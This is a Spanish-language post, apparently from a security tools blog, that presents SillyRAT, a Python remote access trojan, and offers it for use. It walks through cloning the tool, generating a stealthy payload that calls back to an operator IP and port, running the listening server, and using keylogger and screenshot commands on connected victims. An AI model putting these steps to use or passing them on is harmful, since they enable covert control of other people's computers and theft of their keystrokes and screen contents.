Hoy os dejo por aquí SillyRAT un RAT multiplataforma escrito en Python puro. El RAT acepta comandos junto con argumentos para actuar como el servidor que acepta conexiones o para actuar como el cliente/objetivo que establece conexiones con el servidor.
El comando generar utiliza el módulo pyinstaller para compilar el código de carga útil real. Entonces, para generar un archivo de carga útil para su plataforma respectiva, debe estar en esa plataforma mientras genera el archivo. Además, también puedes obtener directamente el archivo fuente.
Características
- Shell incorporado para ejecución de comandos.
- Información del sistema de volcado, incluidas unidades y Rams.
- Módulo de captura de pantalla que realiza una captura de pantalla de la pantalla del cliente.
- Bucle de conexión (continuará al conectarse al servidor)
- Actualmente, utiliza codificación BASE64.
- Python puro.
- Plataforma cruzada. (Probado en Linux. Se aceptan errores)
- Archivo fuente incluido para pruebas.
- Python 3.
- Ejecución sigilosa.
- Cifrado.
- Almacenamiento de sesiones del último intento.
- Enviar notificaciones cuando un cliente se conecta.
Instalación
La herramienta está probada en Parrot OS con Python 3.8 . Sigue los pasos para la instalación:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
Documentación
Generando carga útil
Puede obtener el archivo de carga útil de dos maneras:
- Archivo fuente.
- Archivo compilado.
El archivo fuente debe permanecer igual en todas las plataformas. Entonces, puedes generarlo en una plataforma y usarlo en la otra. Obteniendo el archivo fuente:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
La versión compilada debe generarse en la plataforma respectiva. Por ejemplo, no puede generar un archivo .exe en Linux. Tienes que estar específicamente en Windows. La herramienta aún está bajo prueba. Por tanto, se aceptan todo tipo de errores. Sin embargo, asegurate de abrir un caso. Generando la versión compilada para Linux:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer
Reemplaza tu dirección IP y puerto en los comandos anteriores.
Servidor en ejecución
El servidor debe ejecutarse en Linux. Puedes alquilar un VPS o Servidor Cloud para conexiones. Para que conste, el servidor no almacena ninguna sesión de la última ejecución. Por lo tanto, todo el progreso se perderá una vez que finalice la aplicación del servidor. Ejecutando su servidor:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
Conexiones
Todas las conexiones aparecerán en el comando sesiones :
$ sessions
Puedes conectarte a tu sesión de destino con el comando de conexión e iniciar uno de los comandos disponibles:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot
Ayuda
Obten una lista de comandos disponibles:
$ help